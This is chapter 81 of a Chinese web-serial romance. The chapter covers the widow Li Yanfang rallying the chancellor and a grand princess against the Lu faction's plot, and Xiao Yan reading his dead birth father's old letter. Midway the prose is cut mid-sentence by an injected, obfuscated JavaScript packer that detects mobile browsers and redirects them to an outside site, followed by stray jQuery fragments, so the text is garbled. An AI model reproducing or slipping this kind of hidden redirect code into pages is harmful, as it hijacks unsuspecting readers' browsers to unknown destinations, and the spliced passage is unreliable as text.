81. 念叨

作品:《守寡后被义弟盯上了怎么办

    李宴方是如何盯上陆家一举一动,以至于最先获得陆党谋反的确切消息?


    她面色如常地对上官崇道:“因为陆朴一开始就想杀我。”


    “何故?”上官崇知晓她曾为公府儿媳,见她揭露陆家谋反,他便推测二者之间存在私仇。


    难道李宴方想公报私仇,还要顺势把自己这老头子拉进去不成?


    她道:“他认为是我杀了他的长子,因此,我曾在上清观中遭遇过刺杀。”


    “后来大猎时,他与北戎联合起来要杀萧偃。大猎当日,那木拓将萧偃引入埋伏,我与他遭遇猛虎袭击,那头猛虎死后验尸,发现被人做了手脚,蛛丝马迹直指四和春楼。”


    上官崇神色一黯,大猎蹊跷,原来竟有这些不为人知的诡秘。


    “确定消息后,萧偃都会率领两千飞捷前往救驾。”


    “萧偃无恙?”


    “不错,自那日大猎刺杀,他一直躲避多方窥伺目光,终于等到陆党露出马脚。”


    上官崇立刻把这些时日发生的事件串起,问道:“刺杀你的也是陆党?”


    “并非,也许是宋王李攸。”


    上官崇气结,心道这会儿可够精彩了,王爷也牵扯其中,当真是乱成一锅粥。


    不等对方追问,李宴方道:“他要杀我,因为他早前为了拉拢萧偃曾求娶我,并且交给我几幅太后旧日真迹,暗指太后昔年得位不正,他不曾明言,我迟迟不应邀入伙,于是他便要灭口。”


    所以二人先后假死,伺机而动,早以身入局。


    “如今洛都城中,有人螳螂捕蝉黄雀在后,可全仰仗相爷坐镇,以护全城安宁了。”


    相府的书房内陷入沉默,上官崇目光落账册之上,他有调兵之权,既然有人透露贼子欲谋反,但他不知道对方手中藏有几步棋,又有哪些将领牵扯其中,绝不可轻率调用,以免打草惊蛇。


    如此说来,反而是飞捷最为可靠了。


    兹事体大,当机立断。


    “可你要如何神不知鬼不觉地放人入城?”


    这位告密者李宴方有几分能耐,是否可靠,是上官崇如今最关心的问题之一。


    李宴方没有丝毫被质疑的恼怒,轻笑一声:“这就要请相爷再借我一人了。”


    *


    座上的吴国大长公主饶有兴致地打量着被相府夫人贴身嬷嬷带进来的李宴方。


    大长公主的话里流淌着若有若无的嘲讽:“我为皇胤,无论这龙椅谁坐,我皆是大晟的公主。李宴方,你光凭局势危急就能说服我参与你的谋逆之举?”


    “你口口声声为天下安定计,可你们姐弟先前鬼鬼祟祟,故布疑阵,谁知道你是不是蓄谋已久的借机报复,抑或是故意颠倒黑白,栽赃陷害?”


    李宴方却早已料到大长公主的反应,诚然如她所言,无论是陆党扶持少帝,还是李攸趁机夺位,都无法撼动大长公主的出身与地位。


    与其说是大长公主目下无人,倒不如说李宴方再度遭受质疑。


    此时此刻唯有陈以利害。


    李宴方垂下双眼,姿态恭敬从容:“不知殿下可曾记得和月山庄一事。”


    大长公主冷哼,她自然记得,那可是结结实实地吃了一次哑巴亏呢,可惜她精心打造的一片梅林。


    “殿下仁厚慷慨,我曾向殿下讨要了一名乐伶,得殿下应允。只是殿下有所不知,那名乐伶先前就欲投药勾引贵人,被我抓了现行。”


    “那时来龙去脉不清不楚,唯恐扰了殿下的雪梅盛宴,故假借讨要之命,将他带走问询。据他所供,有四和春楼之人与山庄乐伶往来,他便是其中一员。”


    “四和春楼商路奇广,乐伶们所购置的西域药香便是由四和春楼之人提供,而那四和春楼前来交涉之人,恰好是鄂国公府内花匠……”


    大长公主当即想到那日种种情形,怒火中烧。


    “殿下身份尊贵,可贼子小人罔顾尊卑,不得势时便胆敢在殿下的山庄中胡作非为,那来日得势时又敢何为?”


    言尽于此,李宴方不必再点破,大长公主是聪明人。


    内堂龙涎香袅袅,馥郁香气丝丝缕缕缠绕鼻尖,让人心神宁静,大长公主轻瞥跪地瑟缩在一旁的相府夫人嬷嬷,心知这就是李宴方在明明白白告诉她,上官崇也被拉到同一条船上。


    沉默深思的大长公主骤然生怒拍案:“来人,父皇昔年赏赐的珍宝不翼而飞,三百府兵遍寻不得,我看这些饭桶是养尊处优惯了,统统拉出城去操练一番!”


    “是。”大长公主身边的女官应声而退。


    下首的李宴方露出一抹极其疏淡的微笑。


    *


    飞捷大营内,一封泛黄老旧的信笺被摆在萧偃案前。


    萧偃凝视纸张上被岁月晕染得渐渐模糊的笔迹,那字迹粗糙歪斜,但幸好书写之人写得清晰正确,让多年后的人依稀可以拼凑出当年的事迹。


    这是一封戍边的士兵写给妻子的家书。


    崇州边陲是抵御北戎的要塞,从军的士兵有家难回,哪怕是妻子临盆,他都无法赶回她的身边,而后妻子来信告知,她产后元气大伤,唯恐来日她病故之后幼儿无人照顾。


    信中士兵对妻儿饱含愧疚,于是身为亲兵的他斗胆向一直追随效忠的卫将军请求,若有朝一日他战死沙场,还请将军大慈大悲收下他们的孩儿做奴仆,待孩儿长大,鞍前马后,以报将军的大恩大德。


    卫将军答应了他的请求,他写下这封信告知妻子,宽慰她,嘱咐她安心养病,一切都会好起来的。


    萧偃阅览传递着好消息的家书之后并未感到愉悦。


    他看到,一位母亲的无奈乃至绝望,一位父亲愧疚以及“无能”之下的不顾一切。


    为何这一对情深意笃的夫妻会在寻求帮助时,跳过了血脉相连的族人,转而寻求上司的庇护?


    也许生父生母早已经在萧家碰过壁。


    萧偃过去也懂族人为何对他冷眼,也许是生父母与他们之间本存在龃龉,但现在的萧偃又寻到新理由。


    生父曾是阿爹的亲兵,亲卫虽然跟随大将,得看重,得磨砺,但不如百夫长、千夫长等军职有稳定和明显的晋升,对于萧家族人而言,生父不过就是从伍几年还不得职位的小兵,便日渐忽视。


    后来的事情萧偃已能推断,生母病故后,生父仍投身于边关,直至二次北征,他随卫骋出征,大概是牺牲于那一场烽火中,或许在临死之前,他曾对着卫骋乞求,不要忘记二人之间的约定。


    但是萧父不知在他亡故之后,他敬佩尊重的卫将军遭受了一场大祸。


    将军不再是统帅三军的悍将,而变成洛都城内岌岌无名的小人物。


    将军一家三口失去雕梁画栋的豪宅,和老百姓一同居住在小巷中。


    将军不再是伸出一支树枝就能遮风避雨的擎天大树,不再是能轻而易举为一个幼童提供庇护的达官显贵。


    可将军还是履行当年的承诺,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111909|190369||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    将年幼的萧凭陵接回家中,并且从不把他视作奴仆,而是视如己出。


    这一份真情里,是否包含两位父亲过去一同冲锋陷阵的手足情谊?


    萧偃不得而知,他已经无法再追问生父和阿爹了。


    他再度凝望那一封被岁月的沙尘掩藏许久的家书,热切感慨的目光呆呆地徘徊与抬头与落款。


    旧事和秘密一同被揭露,他第一次知道生父母的姓名。


    抬头写的是梁尚兰,生父在信中称她为兰娘,而落款写的是萧达,一位一生并未有“达”的征夫。


    李宴方在他身后,自萧偃双肩垂下手臂,坚定地抱住他,她侧首贴过去,与他紧紧相靠。


    “至少我们对父母那一辈的了解更深一层了,不是吗?你的亲生父母虽然天不假年,但从未有一刻放弃表达对你的爱,他们竭尽全力地为你谋取一个好前程。而其间虽然多有曲折,但你平安长大,又出人头地,想来他们也能含笑九泉了。”


    萧偃得到的亲情之爱从来都是足够的,从他出生,再到长成。


    萧偃怅然而叹,感慨万千:“阿爹他……当真是个重情重义、重心重诺、铁骨铮铮的汉子。”


    他几乎都能想到,一个刚遭剧变、承受打击的人,如何能在第一时间掏心掏肺地兑现一个承诺,一个与亡故旧识约定下的承诺,一个无人会追究的承诺。


    再去全心全意地养育一个毫无感情的幼儿,一个甚至对他一家带着敌意戒备的孩童。


    萧偃欠下的债,何其多!


    “看来唯今之计只有我给你当牛做马,才能报答爹娘的养育之恩了。”


    两人静静相拥,李宴方换了姿势,坐到他腿上,被他抱在怀里。


    怀中的人先是轻笑,转瞬间便察觉到这是萧偃故作轻松的遮掩和回避,她双臂勾上他的豹颈,直视他一双神情难辨的眼。


    “你也可以感慨,可以短暂得放纵自己的情绪,因为我在。”


    他是她的依靠,她也是他的。


    各自苦涩的身世侵吞死咬着跳动鲜活的心脏,让酸涩与痛楚随着涌流的鲜血传遍四肢百害。


    但幸好还有彼此,成为最后一道坚不可摧的防线。


    那两汪蕴藏着说不清、道不明的复杂情绪的湖泊,突然被浩荡春风吹拂,平静得如死水的湖面泛起粼粼微波,霎时间生动起来。


    萧偃揽过李宴方,在她额头留下温情的一个吻:“阿爹当年搞错了,不应该让我唤你阿姊,该让我称呼你为小姐,任劳任怨,任你处置,你就不会因为我是你阿弟而不好意思下手。”


    这一刻,他似乎很认真很投入地设想起那般情状,而后带着顽劣不羁的笑意修正说法。


    “也不好,小姐也会爱上别人。还是做童养婿比较好,名正言顺,就算以后有别的阿猫阿狗一窝蜂地黏上来,也要讲个究先来后到,再怎么着,他们也得给我敬茶。”


    “你倒是挺会想,什么好处都让你占了……”


    李宴方哭笑不得,这件事他三番四次地念叨,可见是在乎得不得了。


    可话没说完,拥抱就阻断她的数落,有力深沉,其中包含的珍视意味更是随着温暖的触感和不可忽视的力道传来。


    过了一会儿,李宴方从他怀中挣脱:“好啦好啦,千方百计要把信送入飞捷、借机挑起哗变的人,只怕不知他的计划因为你的突然出现而告吹,下一步打算如何?”


    萧偃的目光再一次锁定那一封多年前的家书。